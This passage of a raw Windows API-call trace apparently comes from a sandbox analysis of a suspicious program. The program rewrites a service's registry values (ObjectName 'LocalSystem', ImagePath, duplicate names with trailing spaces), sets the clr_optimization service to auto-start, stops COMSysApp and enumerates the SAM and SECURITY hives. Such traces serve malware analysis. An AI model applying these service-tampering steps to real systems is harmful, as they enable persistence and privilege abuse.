lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.756] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.756] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.756] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0253.756] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0253.757] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0253.757] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0253.757] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0253.757] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.757] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.757] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.757] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.757] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.757] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.757] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.757] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.757] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.757] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.758] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.758] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.758] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.758] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.758] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.758] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0253.758] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0253.758] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0253.758] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0253.758] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0253.758] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.758] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.758] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.759] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.759] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.759] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.759] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.759] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.759] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.759] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.759] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.759] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.759] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.759] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.759] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.760] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0253.760] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0253.760] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0253.760] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0253.760] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.760] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.760] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.760] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.760] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.760] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.760] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.760] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.761] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.761] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.761] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.761] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.761] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.761] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.761] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.761] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0253.761] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe", cbData=0x3b | out: lpData="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe") returned 0x0 [0253.762] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe" [0253.762] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0253.762] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0253.762] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.762] LocalFree (hMem=0x7f03d0) returned 0x0 [0253.762] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe", cbData=0x3b | out: lpData="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe") returned 0x0 [0253.762] OpenServiceW (hSCManager=0x803918, lpServiceName="clr_optimization_v2.0.50727_32", dwDesiredAccess=0x2) returned 0x803990 [0253.762] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0253.763] CloseServiceHandle (hSCObject=0x803990) returned 1 [0253.764] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.764] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3c8) returned 1 [0253.764] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0253.764] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0253.764] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d588) returned 1 [0253.764] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0253.764] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.764] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0253.764] RegCloseKey (hKey=0xc4) returned 0x0 [0253.764] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0253.764] RegCloseKey (hKey=0x14c) returned 0x0 [0253.764] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0253.764] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0253.764] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorsvw.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe43ab94, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0xfe43ab94, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x65bf4000, ftLastWriteTime.dwHighDateTime=0x1c9e95e, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0253.764] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorsvw.exe" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorsvw.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0253.764] GetLastError () returned 0x20 [0253.764] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0253.765] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0253.765] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0253.765] OpenServiceW (hSCManager=0x803918, lpServiceName="COMSysApp", dwDesiredAccess=0x20) returned 0x8038a0 [0253.769] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0253.781] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0253.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0253.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0253.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0253.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0253.782] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0253.782] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0253.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0253.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1e38, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0253.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.782] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0253.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0253.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.782] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0253.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1e38, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0253.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.783] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0253.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0253.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.783] RtlFreeHeap 